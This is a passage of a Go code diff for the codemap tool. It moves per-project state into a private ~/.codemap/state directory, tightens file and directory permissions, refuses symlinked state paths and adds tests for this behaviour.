cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles}, query, *limit) if err != nil { diff --git a/handoff/storage.go b/handoff/storage.go index 50184b49..a0240e48 100644 --- a/handoff/storage.go +++ b/handoff/storage.go @@ -6,7 +6,6 @@ import ( "os" "path/filepath" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/internal/runtimefile" ) @@ -19,58 +18,39 @@ const ( maxMetricsLines = 500 ) -// LatestPath returns the absolute location of the latest handoff artifact. -func LatestPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, latestFilename) - } - return filepath.Join(absRoot, latestFilename) -} +// LatestPath returns the absolute location of the latest handoff artifact, +// or "" when there is no usable state dir (same for the paths below). +func LatestPath(root string) string { return displayPath(root, latestFilename) } // PrefixPath returns the absolute location of the prefix snapshot. -func PrefixPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, prefixFilename) - } - return filepath.Join(absRoot, prefixFilename) -} +func PrefixPath(root string) string { return displayPath(root, prefixFilename) } // DeltaPath returns the absolute location of the delta snapshot. -func DeltaPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, deltaFilename) - } - return filepath.Join(absRoot, deltaFilename) -} +func DeltaPath(root string) string { return displayPath(root, deltaFilename) } // MetricsPath returns the absolute location of the handoff metrics log. -func MetricsPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) +func MetricsPath(root string) string { return displayPath(root, metricsFilename) } + +func displayPath(root, name string) string { + path, err := statePath(root, name) if err != nil { - return filepath.Join(runtimeRoot, metricsFilename) + return "" } - return filepath.Join(absRoot, metricsFilename) + return path } // ReadLatest reads the latest handoff artifact if it exists. // Returns (nil, nil) when no artifact is present. func ReadLatest(root string) (*Artifact, error) { - path, err := runtimePath(root, latestFilename) + path, err := statePath(root, latestFilename) if err != nil { return nil, err } - data, err := os.ReadFile(path) + data, err := runtimefile.Read(path) + if os.IsNotExist(err) { + return nil, nil + } if err != nil { - if os.IsNotExist(err) { - return nil, nil - } return nil, err } @@ -83,7 +63,8 @@ func ReadLatest(root string) (*Artifact, error) { return &artifact, nil } -// WriteLatest writes an artifact atomically to .codemap/handoff.latest.json. +// WriteLatest writes an artifact atomically to handoff.latest.json in the +// project's state dir. func WriteLatest(root string, artifact *Artifact) error { normalizeArtifact(artifact) @@ -92,10 +73,6 @@ func WriteLatest(root string, artifact *Artifact) error { return err } path := filepath.Join(runtimeDir, latestFilename) - if err := gitexclude.MkdirAll(filepath.Dir(path), 0755); err != nil { - return err - } - if err := writeJSONAtomic(path, artifact); err != nil { return err } @@ -108,6 +85,15 @@ func WriteLatest(root string, artifact *Artifact) error { return appendMetricsAt(filepath.Join(runtimeDir, metricsFilename), artifact) } +// statePath names a state file for reading; it creates nothing. +func statePath(root, name string) (string, error) { + dir, err := projectpath.StateDir(root) + if err != nil { + return "", err + } + return filepath.Join(dir, name), nil +} + func runtimePath(root, name string) (string, error) { dir, err := projectpath.CheckedRuntimeCodemapDir(root) if err != nil { @@ -121,7 +107,7 @@ func writeJSONAtomic(path string, value any) error { if err != nil { return err } - return runtimefile.WriteAtomic(path, data, 0o644) + return runtimefile.WriteAtomic(path, data, 0o600) } func appendMetrics(root string, artifact *Artifact) error { @@ -156,7 +142,7 @@ func appendMetricsAt(path string, artifact *Artifact) error { return err } - f, err := runtimefile.OpenAppend(path, 0o644) + f, err := runtimefile.OpenAppend(path, 0o600) if err != nil { return err } @@ -270,5 +256,5 @@ func capMetricsLogAt(path string, maxLines int) error { trimmed := bytes.Join(lines[len(lines)-maxLines:], []byte("\n")) trimmed = append(trimmed, '\n') - return runtimefile.WriteAtomic(path, trimmed, 0o644) + return runtimefile.WriteAtomic(path, trimmed, 0o600) } diff --git a/handoff/testmain_test.go b/handoff/testmain_test.go new file mode 100644 index 00000000..614b0751 --- /dev/null +++ b/handoff/testmain_test.go @@ -0,0 +1,19 @@ +package handoff + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-handoff-cache-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/internal/gitexclude/gitexclude.go b/internal/gitexclude/gitexclude.go index ac88c3c2..ba5dc8c6 100644 --- a/internal/gitexclude/gitexclude.go +++ b/internal/gitexclude/gitexclude.go @@ -1,6 +1,6 @@ -// Package gitexclude keeps codemap's own state directory out of `git status` -// without touching a tracked .gitignore: the rule goes to the clone-local -// /info/exclude, which linked worktrees share. +// Package gitexclude keeps an in-repo .codemap/ out of `git status` without +// touching the repo's own ignore files: .codemap/ carries its own .gitignore +// that leaves only config.json and skills/ committable. package gitexclude import ( @@ -10,6 +10,8 @@ import ( "os/exec" "path/filepath" "strings" + + "codemap/internal/runtimefile" ) // Entry is the ignore rule written for codemap's state directory. The @@ -81,82 +83,27 @@ func LocalEntry(root string) (string, bool, error) { return target, HasLine(data, Entry), nil } -// EnsureIgnored ensures Entry is listed in root's clone-local info/exclude. -// It returns the file written, or "" when the entry already exists there or -// root is not a git work tree. It records the local rule even when a tracked -// .gitignore already covers it, so `codemap setup` leaves a rule it owns. -func EnsureIgnored(root string) (string, error) { - if !IsWorkTree(root) { - return "", nil - } - target, present, err := LocalEntry(root) - if err != nil { - return "", err - } - if present { - return "", nil - } - if err := AppendEntry(target, Entry); err != nil { - return "", err - } - return target, nil -} - -// EnsureIgnoredIfNeeded is the quiet variant used when codemap creates the -// state directory on its own (issue #184): it writes Entry to info/exclude -// only when git does not already ignore .codemap/ by any rule, so a repo -// whose tracked .gitignore covers it gains no redundant local rule. It -// returns the file written, or "" when nothing was needed or root is not a -// git work tree. -func EnsureIgnoredIfNeeded(root string) (string, error) { - if !IsWorkTree(root) { - return "", nil - } - ignored, _, err := CheckIgnored(root, Entry) - if err != nil { - return "", err - } - if ignored { - return "", nil - } - return EnsureIgnored(root) -} - -// MkdirAll creates dir like os.MkdirAll and, when doing so creates a -// `.codemap` directory (dir itself or an ancestor of it) that did not exist -// before, ensures git ignores it via EnsureIgnoredIfNeeded on the directory -// that contains it. Every codemap state write that may create `.codemap/` -// goes through here so a fresh checkout's `git status` stays clean after -// any command. The ignore write is best-effort: a failure there never fails -// the directory creation, and nothing runs when `.codemap` already exists. -func MkdirAll(dir string, perm os.FileMode) error { - stateDir, hasStateDir := stateDirOf(dir) - existed := true - if hasStateDir { - _, err := os.Lstat(stateDir) - existed = err == nil - } - if err := os.MkdirAll(dir, perm); err != nil { - return err - } - if hasStateDir && !existed { - _, _ = EnsureIgnoredIfNeeded(filepath.Dir(stateDir)) - } - return nil -} - -// stateDirOf returns the nearest path on or above dir whose base is -// `.codemap`. -func stateDirOf(dir string) (string, bool) { - dir = filepath.Clean(dir) - for current := dir; ; current = filepath.Dir(current) { - if filepath.Base(current) == stateDirName { - return current, true - } - if parent := filepath.Dir(current); parent == current { - return "", false - } - } +// StateIgnore is the .codemap/.gitignore codemap writes: machine state stays +// out of git while config.json and skills/ stay committable. +const StateIgnore = `# Written by codemap. Machine state stays out of git; config and skills can be committed. +* +!.gitignore +!config.json +!skills/ +!skills/** +` + +// EnsureStateIgnore writes stateDir/.gitignore with StateIgnore when the file +// is missing; a user's copy is never touched. It returns whether it wrote. +func EnsureStateIgnore(stateDir string) (bool, error) { + path := filepath.Join(stateDir, ".gitignore") + if _, err := os.Lstat(path); err == nil || !os.IsNotExist(err) { + return false, err + } + if err := runtimefile.WriteAtomic(path, []byte(StateIgnore), 0o644); err != nil { + return false, err + } + return true, nil } // TrackedStateFiles returns the paths under .codemap/ that git tracks at diff --git a/internal/gitexclude/gitexclude_test.go b/internal/gitexclude/gitexclude_test.go index 10fd0336..4fb281db 100644 --- a/internal/gitexclude/gitexclude_test.go +++ b/internal/gitexclude/gitexclude_test.go @@ -22,15 +22,6 @@ func gitRun(t *testing.T, dir string, args ...string) string { return string(out) } -func canonical(t *testing.T, path string) string { - t.Helper() - resolved, err := filepath.EvalSymlinks(path) - if err != nil { - t.Fatalf("EvalSymlinks(%q): %v", path, err) - } - return resolved -} - func freshClone(t *testing.T) string { t.Helper() if _, err := exec.LookPath("git"); err != nil { @@ -48,108 +39,60 @@ func freshClone(t *testing.T) string { return clone } -func TestMkdirAllIgnoresNewStateDirInFreshClone(t *testing.T) { +func TestStateIgnoreHidesLegacyLeftoversAndLeavesExclude(t *testing.T) { root := freshClone(t) - stateDir := filepath.Join(root, ".codemap", "projects", "abc") - - if err := MkdirAll(stateDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(stateDir, "state.json"), []byte("{}"), 0o644); err != nil { - t.Fatal(err) - } - if status := gitRun(t, root, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("git status not clean after state write:\n%s", status) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must never create a tracked .gitignore") - } exclude, err := InfoExcludePath(root) if err != nil { t.Fatal(err) } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) - } - if !HasLine(data, Entry) { - t.Fatalf("info/exclude missing %q:\n%s", Entry, data) - } -} - -func TestMkdirAllAddsNoLocalRuleWhenTrackedIgnoreCovers(t *testing.T) { - root := freshClone(t) - if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte(".codemap/\n"), 0o644); err != nil { - t.Fatal(err) - } - gitRun(t, root, "add", ".gitignore") - gitRun(t, root, "commit", "-q", "-m", "ignore") - - if err := MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { - t.Fatal(err) - } - exclude, err := InfoExcludePath(root) - if err != nil { + before, _ := os.ReadFile(exclude) + stateDir := filepath.Join(root, ".codemap", "projects", "abc") + if err := os.MkdirAll(stateDir, 0o755); err != nil { t.Fatal(err) } - if data, err := os.ReadFile(exclude); err == nil && HasLine(data, Entry) { - t.Fatalf("local rule written although .gitignore already ignores .codemap/:\n%s", data) - } - if status := gitRun(t, root, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("git status not clean:\n%s", status) - } -} - -func TestMkdirAllOutsideGitAndWithoutStateDir(t *testing.T) { - plain := filepath.Join(t.TempDir(), "a", ".codemap", "b") - if err := MkdirAll(plain, 0o755); err != nil { - t.Fatal(err) + if wrote, err := EnsureStateIgnore(filepath.Join(root, ".codemap")); err != nil || !wrote { + t.Fatalf("EnsureStateIgnore = %v, %v", wrote, err) } - if info, err := os.Stat(plain); err != nil || !info.IsDir() { - t.Fatalf("dir not created: %v", err) + for path, content := range map[string]string{ + filepath.Join(stateDir, "state.json"): "{}", + filepath.Join(root, ".codemap", "agent_edits.jsonl"): "{}", + filepath.Join(root, ".codemap", "config.json"): "{}", + filepath.Join(root, ".codemap", "skills", "mine", "SKILL.md"): "x", + } { + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } } - other := filepath.Join(t.TempDir(), "cache", "x") - if err := MkdirAll(other, 0o755); err != nil { - t.Fatal(err) + status := gitRun(t, root, "status", "--porcelain", "--untracked-files=all") + for _, want := range []string{".codemap/.gitignore", ".codemap/config.json", ".codemap/skills/mine/SKILL.md"} { + if !strings.Contains(status, want) { + t.Fatalf("git status should offer %s for commit:\n%s", want, status) + } } - if _, ok := stateDirOf(other); ok { - t.Fatalf("stateDirOf(%q) found a .codemap ancestor", other) + for _, gone := range []string{"state.json", "agent_edits"} { + if strings.Contains(status, gone) { + t.Fatalf("machine state %s is not ignored:\n%s", gone, status) + } } - if got, ok := stateDirOf(plain); !ok || filepath.Base(got) != ".codemap" { - t.Fatalf("stateDirOf(%q) = %q, %v", plain, got, ok) + if after, _ := os.ReadFile(exclude); string(after) != string(before) { + t.Fatalf("info/exclude changed:\n%s", after) } } -func TestEnsureIgnoredIfNeededUsesSharedExcludeInLinkedWorktree(t *testing.T) { - root := freshClone(t) - wt := filepath.Join(t.TempDir(), "wt") - gitRun(t, root, "worktree", "add", "-q", wt, "HEAD") - - wrote, err := EnsureIgnoredIfNeeded(wt) - if err != nil { - t.Fatal(err) - } - // git reports the common dir with symlinks resolved (macOS keeps - // t.TempDir under /var -> /private/var), so compare canonical paths. - want := canonical(t, filepath.Join(root, ".git", "info", "exclude")) - if got := canonical(t, wrote); got != want { - t.Fatalf("wrote %q, want the primary's shared exclude %q", got, want) - } - if err := os.MkdirAll(filepath.Join(wt, ".codemap"), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(wt, ".codemap", "config.json"), []byte("{}"), 0o644); err != nil { +func TestEnsureStateIgnoreKeepsUserCopy(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + if err := os.WriteFile(path, []byte("mine\n"), 0o644); err != nil { t.Fatal(err) } - if status := gitRun(t, wt, "status", "--porcelain"); strings.TrimSpace(status) != "" { - t.Fatalf("worktree git status not clean:\n%s", status) - } - again, err := EnsureIgnoredIfNeeded(wt) - if err != nil { - t.Fatal(err) + if wrote, err := EnsureStateIgnore(dir); err != nil || wrote { + t.Fatalf("EnsureStateIgnore = %v, %v; want no write", wrote, err) } - if again != "" { - t.Fatalf("second call wrote %q, want nothing", again) + if data, _ := os.ReadFile(path); string(data) != "mine\n" { + t.Fatalf("user .gitignore rewritten: %q", data) } } diff --git a/internal/projectpath/owner_unix.go b/internal/projectpath/owner_unix.go new file mode 100644 index 00000000..0a142a40 --- /dev/null +++ b/internal/projectpath/owner_unix.go @@ -0,0 +1,13 @@ +//go:build !windows + +package projectpath + +import ( + "os" + "syscall" +) + +func ownedByCurrentUser(info os.FileInfo) bool { + stat, ok := info.Sys().(*syscall.Stat_t) + return ok && int(stat.Uid) == os.Getuid() +} diff --git a/internal/projectpath/owner_windows.go b/internal/projectpath/owner_windows.go new file mode 100644 index 00000000..9e532b6c --- /dev/null +++ b/internal/projectpath/owner_windows.go @@ -0,0 +1,8 @@ +//go:build windows + +package projectpath + +import "os" + +// The user profile directory is already private to the user. +func ownedByCurrentUser(os.FileInfo) bool { return true } diff --git a/internal/projectpath/path.go b/internal/projectpath/path.go index 88b2a374..afc03990 100644 --- a/internal/projectpath/path.go +++ b/internal/projectpath/path.go @@ -169,17 +169,22 @@ func nearestGitRoot(root string) (string, bool) { // ProjectRuntimeDir returns the per-project mutable-state directory: the // shared runtime area (e.g. a setup root) scoped to this project, so projects // sharing a setup root never collide on pid, state, events, or handoff files. +// It is "" when there is no usable state dir. It creates nothing (StateDir), +// so it is for reads and for naming paths; writers use +// CheckedRuntimeCodemapDir. func ProjectRuntimeDir(projectRoot string) string { - return filepath.Join(RuntimeCodemapDir(projectRoot), "projects", ProjectKey(projectRoot)) + dir, _ := StateDir(projectRoot) + return dir } -// RuntimeCodemapDir returns the .codemap directory for mutable project state. +// RuntimeCodemapDir returns the state dir for mutable project state, or "" +// when there is none; it never falls back to a path inside the repo. func RuntimeCodemapDir(projectRoot string) string { selection, err := SelectRuntime(projectRoot) - if err == nil { - return selection.RuntimeDir + if err != nil { + return "" } - return filepath.Join(filepath.Clean(projectRoot), ".codemap") + return selection.RuntimeDir } // CheckedRuntimeCodemapDir returns the validated mutable-state directory. @@ -189,7 +194,7 @@ func CheckedRuntimeCodemapDir(projectRoot string) (string, error) { if err != nil { return "", err } - return filepath.Join(selection.RuntimeDir, "projects", ProjectKey(selection.ProjectRoot)), nil + return selection.ProjectDir, nil } // CanonicalPath returns an absolute, cleaned path with platform symlinks diff --git a/internal/projectpath/path_test.go b/internal/projectpath/path_test.go index cecc0cf3..a13ba566 100644 --- a/internal/projectpath/path_test.go +++ b/internal/projectpath/path_test.go @@ -198,8 +198,10 @@ func TestRuntimeCodemapDirSeparatesAutomaticAndExplicitStorage(t *testing.T) { if got, want := CodemapDir(linked), filepath.Join(primary, ".codemap"); got != want { t.Fatalf("CodemapDir() = %q, want policy dir %q", got, want) } - if got, want := RuntimeCodemapDir(linked), filepath.Join(linked, ".codemap"); got != want { - t.Fatalf("RuntimeCodemapDir() = %q, want local runtime dir %q", got, want) + got, primaryState := RuntimeCodemapDir(linked), RuntimeCodemapDir(primary) + inside := func(dir string) bool { return strings.HasPrefix(got, CanonicalPath(dir)+string(filepath.Separator)) } + if got == "" || got == primaryState || inside(linked) || inside(primary) { + t.Fatalf("RuntimeCodemapDir() = %q (primary %q), want a per-worktree dir outside both checkouts", got, primaryState) } explicit := t.TempDir() @@ -233,9 +235,6 @@ func TestExplicitSetupRuntimeNamespacesAreDeterministicAndDistinct(t *testing.T) if a.RuntimeDir == b.RuntimeDir { t.Fatalf("runtime dirs both %q; want project isolation", a.RuntimeDir) } - if a.LegacyDir != a.PolicyDir || b.LegacyDir != b.PolicyDir { - t.Fatalf("legacy dirs = %q, %q; want shared old location", a.LegacyDir, b.LegacyDir) - } assertProjectMarker(t, a.RuntimeDir, a.ProjectRoot) assertProjectMarker(t, b.RuntimeDir, b.ProjectRoot) diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index 39ea5853..ba194f76 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -4,9 +4,12 @@ import ( "crypto/sha256" "encoding/hex" "encoding/json" + "errors" "fmt" "os" "path/filepath" + + "codemap/internal/runtimefile" ) // RuntimeSelection separates reusable setup policy from mutable project state. @@ -14,7 +17,7 @@ type RuntimeSelection struct { ProjectRoot string PolicyDir string RuntimeDir string - LegacyDir string + ProjectDir string // this project's state: RuntimeDir, or RuntimeDir/projects/ under --setup-root Source Source } @@ -32,11 +35,14 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { result := RuntimeSelection{ ProjectRoot: selection.ProjectRoot, PolicyDir: policyDir, - RuntimeDir: filepath.Join(selection.RuntimeRoot, ".codemap"), - LegacyDir: policyDir, Source: selection.Source, } if selection.Source != SourceExplicit { + dir, err := userStateDir(selection.ProjectRoot) + if err != nil { + return RuntimeSelection{}, err + } + result.RuntimeDir, result.ProjectDir = dir, dir return result, nil } @@ -48,16 +54,154 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { return RuntimeSelection{}, err } } + projects := filepath.Join(result.RuntimeDir, "projects") + result.ProjectDir = filepath.Join(projects, ProjectKey(selection.ProjectRoot)) + for _, dir := range []string{projects, result.ProjectDir} { + if err := ensurePrivateDirectory(dir); err != nil { + return RuntimeSelection{}, err + } + } if err := ensureProjectMarker(result.RuntimeDir, selection.ProjectRoot); err != nil { return RuntimeSelection{}, err } return result, nil } +// StateDir returns the directory SelectRuntime would give as ProjectDir, but +// creates nothing: a read of missing state then simply misses. Every level +// that does exist is checked as SelectRuntime checks it (real directory, +// owned by this user, project marker matches). +func StateDir(projectRoot string) (string, error) { + selection, err := Select(projectRoot) + if err != nil { + return "", err + } + var levels []string + if selection.Source == SourceExplicit { + digest := sha256.Sum256([]byte(selection.ProjectRoot)) + runtimeDir := filepath.Join(selection.SetupRoot, ".codemap", "runtime", hex.EncodeToString(digest[:])) + levels = []string{runtimeDir, filepath.Join(runtimeDir, "projects"), filepath.Join(runtimeDir, "projects", ProjectKey(selection.ProjectRoot))} + } else { + base, ok := UserDir() + if !ok { + return "", ErrNoStateDir + } + state := filepath.Join(CanonicalPath(base), "state") + levels = []string{state, filepath.Join(state, ProjectKey(selection.ProjectRoot))} + } + for _, dir := range levels { + info, err := os.Lstat(dir) + if os.IsNotExist(err) { + break + } + if err != nil || !info.IsDir() || !ownedByCurrentUser(info) { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, runtimefile.Unsafe(dir)) + } + } + dir := levels[len(levels)-1] + markerDir := dir + if selection.Source == SourceExplicit { + markerDir = levels[0] + } + if data, err := os.ReadFile(filepath.Join(markerDir, "project.json")); err == nil { + var marker projectMarker + if json.Unmarshal(data, &marker) != nil || marker.CanonicalRoot != CanonicalPath(selection.ProjectRoot) && marker.CanonicalRoot != selection.ProjectRoot { + return "", fmt.Errorf("%w: runtime identity mismatch in %q", ErrNoStateDir, markerDir) + } + } + return dir, nil +} + +// IsSetUp reports whether the project's policy directory (/.codemap) +// exists. Only explicit commands (setup, config init, skill init) create it. +// It never decides where machine state goes: that is always UserDir/state. +func IsSetUp(projectRoot string) bool { + info, err := os.Lstat(CodemapDir(projectRoot)) + return err == nil && info.IsDir() +} + +// ErrNoStateDir reports that there is nowhere safe to keep machine state (no +// home dir, not creatable, not writable, or unsafe). Every failure to get the +// private state dir wraps it; callers skip writes and treat state as absent. +var ErrNoStateDir = errors.New("no usable codemap state directory") + +// UserDir is the per-user codemap base, ~/.codemap: the daemon registry +// (daemons/) and every project's machine state (state//) live under one +// root, so every process of this user agrees on both whatever its +// environment. It is not a cache: the OS may purge those, and a handoff is +// not disposable. There is deliberately no shared-temp fallback. +func UserDir() (string, bool) { + home, err := os.UserHomeDir() + if err != nil || !filepath.IsAbs(home) { + return "", false + } + return filepath.Join(home, ".codemap"), true +} + +// EnsureUserSubdir creates UserDir/, returning its canonical path. +// It creates ~/.codemap 0700 when missing but never a missing home. A link at +// ~/.codemap is the user's and is resolved; from down every level is +// Lstat-checked, links refused, and it must be a 0700 dir this user owns. +func EnsureUserSubdir(names ...string) (string, error) { + base, ok := UserDir() + if !ok { + return "", ErrNoStateDir + } + if _, err := os.Stat(base); os.IsNotExist(err) { + if err := os.Mkdir(base, 0o700); err != nil && !os.IsExist(err) { + return "", fmt.Errorf("%w: create %q: %w", ErrNoStateDir, base, err) + } + } + dir := CanonicalPath(base) + for _, name := range names { + dir = filepath.Join(dir, name) + if err := ensurePrivateDirectory(dir); err != nil { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) + } + } + return dir, nil +} + +// userStateDir returns ~/.codemap/state/, marked with the +// project root. +func userStateDir(projectRoot string) (string, error) { + dir, err := EnsureUserSubdir("state", ProjectKey(projectRoot)) + if err != nil { + return "", err + } + if err := ensureProjectMarker(dir, CanonicalPath(projectRoot)); err != nil { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) + } + return dir, nil +} + func ensureRealDirectory(path string) error { + return ensureDirectory(path, 0o755) +} + +// ensurePrivateDirectory is ensureRealDirectory for per-user state: created +// 0700, owned by this user, and narrowed to 0700 when it was wider. +func ensurePrivateDirectory(path string) error { + if err := ensureDirectory(path, 0o700); err != nil { + return err + } + info, err := os.Lstat(path) + if err != nil { + return err + } + if !ownedByCurrentUser(info) { + return fmt.Errorf("unsafe runtime directory %q: not owned by the current user", path) + } + if info.Mode().Perm()&0o077 != 0 { + return os.Chmod(path, 0o700) + } + return nil +} + +func ensureDirectory(path string, perm os.FileMode) error { info, err := os.Lstat(path) if os.IsNotExist(err) { - if err := os.Mkdir(path, 0o755); err != nil && !os.IsExist(err) { + if err := os.Mkdir(path, perm); err != nil && !os.IsExist(err) { return fmt.Errorf("create runtime directory %q: %w", path, err) } info, err = os.Lstat(path) @@ -66,7 +210,7 @@ func ensureRealDirectory(path string) error { return fmt.Errorf("inspect runtime directory %q: %w", path, err) } if !info.IsDir() { - return fmt.Errorf("unsafe runtime directory %q: expected a real directory", path) + return runtimefile.Unsafe(path) } return nil } @@ -77,25 +221,29 @@ func ensureProjectMarker(runtimeDir, canonicalRoot string) error { if err != nil { return err } - f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600) - if err == nil { - if _, writeErr := f.Write(payload); writeErr != nil { - _ = f.Close() - _ = os.Remove(path) - return writeErr - } - if closeErr := f.Close(); closeErr != nil { - _ = os.Remove(path) - return closeErr - } - return nil + // Written aside and hard-linked into place: the link is exclusive and + // atomic, so a concurrent reader never sees an empty marker. + f, err := os.CreateTemp(runtimeDir, ".project-*.json") + if err != nil { + return fmt.Errorf("create runtime identity %q: %w", path, err) } - if !os.IsExist(err) { + tmp := f.Name() + defer os.Remove(tmp) + _, err = f.Write(payload) + if closeErr := f.Close(); err == nil { + err = closeErr + } + if err != nil { + return err + } + if err := os.Link(tmp, path); err == nil { + return nil + } else if !os.IsExist(err) { return fmt.Errorf("create runtime identity %q: %w", path, err) } info, statErr := os.Lstat(path) if statErr != nil || !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime identity %q", path) + return runtimefile.Unsafe(path) } data, readErr := os.ReadFile(path) if readErr != nil { diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go new file mode 100644 index 00000000..d2708ff3 --- /dev/null +++ b/internal/projectpath/runtime_cache_test.go @@ -0,0 +1,129 @@ +package projectpath + +import ( + "errors" + "os" + "path/filepath" + "runtime" + "testing" + + "codemap/internal/runtimefile" +) + +func setHome(t *testing.T, dir string) { + t.Helper() + t.Setenv("HOME", dir) + t.Setenv("USERPROFILE", dir) +} + +func TestSelectRuntimeWithoutHomeIsUnavailable(t *testing.T) { + root := makeProjectFixture(t) + setHome(t, "") + if _, ok := UserDir(); ok { + t.Skip("this OS still reports a home dir") + } + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("SelectRuntime err = %v, want ErrNoStateDir", err) + } +} + +// State lives in ~/.codemap/state/ whether or not the repo is set up, +// whatever XDG_CACHE_HOME says, and every directory codemap creates is 0700. +func TestSelectRuntimeUsesHomeStateWhetherOrNotSetUp(t *testing.T) { + root := makeProjectFixture(t) + home := t.TempDir() + setHome(t, home) + t.Setenv("XDG_CACHE_HOME", t.TempDir()) + want := filepath.Join(CanonicalPath(home), ".codemap", "state", ProjectKey(root)) + + selection, err := SelectRuntime(root) + if err != nil { + t.Fatal(err) + } + if selection.RuntimeDir != want || selection.ProjectDir != want { + t.Fatalf("RuntimeDir = %q, ProjectDir = %q, want %q", selection.RuntimeDir, selection.ProjectDir, want) + } + for dir := want; dir != CanonicalPath(home); dir = filepath.Dir(dir) { + if info, err := os.Lstat(dir); err != nil || !info.IsDir() || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o700) { + t.Fatalf("%s: %v, err %v; want a 0700 directory", dir, info, err) + } + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("selection created .codemap/: %v", err) + } + + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("XDG_CACHE_HOME", "") + if selection, err = SelectRuntime(root); err != nil || selection.RuntimeDir != want || !IsSetUp(root) { + t.Fatalf("set-up RuntimeDir = %q, %v; want %q", selection.RuntimeDir, err, want) + } + if entries, _ := os.ReadDir(filepath.Join(root, ".codemap")); len(entries) != 0 { + t.Fatalf("selection wrote into the set-up repo's .codemap/: %v", entries) + } +} + +// A link at .codemap/state, or at any level below it, is refused and nothing +// is written through it. A link at ~/.codemap itself is the user's. +func TestSelectRuntimeRefusesLinksFromTheStateLevelDown(t *testing.T) { + root := makeProjectFixture(t) + key := ProjectKey(root) + for _, rel := range []string{filepath.Join(".codemap", "state"), filepath.Join(".codemap", "state", key)} { + t.Run(rel, func(t *testing.T) { + home := t.TempDir() + setHome(t, home) + if err := os.MkdirAll(filepath.Dir(filepath.Join(home, rel)), 0o700); err != nil { + t.Fatal(err) + } + planted := t.TempDir() + if err := os.Symlink(planted, filepath.Join(home, rel)); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if _, err := CheckedRuntimeCodemapDir(root); !errors.Is(err, ErrNoStateDir) || !errors.Is(err, runtimefile.ErrUnsafe) { + t.Fatalf("err = %v, want ErrNoStateDir naming an unsafe runtime directory", err) + } + if entries, _ := os.ReadDir(planted); len(entries) != 0 { + t.Fatalf("wrote through the planted link: %v", entries) + } + }) + } + + home, real := t.TempDir(), t.TempDir() + setHome(t, home) + if err := os.Symlink(real, filepath.Join(home, ".codemap")); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if _, err := CheckedRuntimeCodemapDir(root); err != nil { + t.Fatalf("a symlinked ~/.codemap must work: %v", err) + } + if _, err := os.Lstat(filepath.Join(real, "state", key)); err != nil { + t.Fatalf("state not under the link's target: %v", err) + } +} + +// Every failure to get the state dir is ErrNoStateDir, and codemap never +// creates a missing home: at most ~/.codemap. +func TestSelectRuntimeNeverCreatesAMissingHome(t *testing.T) { + root := makeProjectFixture(t) + home := filepath.Join(t.TempDir(), "gone") + setHome(t, home) + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("err = %v, want ErrNoStateDir", err) + } + if _, err := os.Lstat(home); !os.IsNotExist(err) { + t.Fatalf("created the missing home: %v", err) + } + if runtime.GOOS == "windows" || os.Getuid() == 0 { + return + } + readOnly := t.TempDir() + if err := os.Chmod(readOnly, 0o555); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) + setHome(t, readOnly) + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("read-only home: err = %v, want ErrNoStateDir", err) + } +} diff --git a/internal/projectpath/testmain_test.go b/internal/projectpath/testmain_test.go new file mode 100644 index 00000000..056c2da0 --- /dev/null +++ b/internal/projectpath/testmain_test.go @@ -0,0 +1,19 @@ +package projectpath + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-projectpath-cache-*") + 